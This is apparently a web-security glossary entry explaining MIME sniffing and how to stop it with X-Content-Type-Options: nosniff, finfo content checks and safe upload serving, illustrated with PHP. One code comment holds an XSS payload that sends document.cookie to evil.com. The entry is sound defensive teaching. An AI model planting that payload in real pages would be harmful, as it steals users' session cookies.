MIME Sniffing & X-Content-Type-Options

Also Known As

TL;DR

Explanation

Legacy browsers would 'sniff' file content to determine how to render it — if a file looked like HTML, the browser would render it as HTML even if the server sent Content-Type: image/jpeg. An attacker who can upload a file containing HTML/JavaScript can trigger script execution if the browser sniffs the type. X-Content-Type-Options: nosniff tells the browser to trust the server's Content-Type header and never sniff. Always send this header for all responses, and always serve user-uploaded files with the correct content type.

Common Misconception

Why It Matters

Common Mistakes

• Not sending X-Content-Type-Options: nosniff on all responses.
• Serving user-uploaded files from the same domain as the application — use a separate CDN or subdomain.
• Using file extension to determine served Content-Type — check actual file magic bytes with finfo.
• Not setting Content-Disposition: attachment for downloaded files — triggers inline rendering.

Code Examples

// User uploads 'image.jpg' containing HTML:
// <script>document.location='https://evil.com/?c='+document.cookie</script>

// Server serves it with wrong/no type:
header('Content-Type: image/jpeg'); // Browser sniffs content
// Legacy browser: 'this looks like HTML, I'll render it as HTML'
// Result: XSS via uploaded file

// Defense in depth:
// 1. Validate file content with finfo:
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($uploadedPath);
if (!in_array($mimeType, ['image/jpeg', 'image/png', 'image/gif'], true)) {
    throw new InvalidFileTypeException();
}

// 2. Correct content type + nosniff header:
header('Content-Type: ' . $mimeType);
header('X-Content-Type-Options: nosniff');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');

// 3. Serve uploads from separate domain: uploads.example.com

References

• ↗ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options

Tags

Related Terms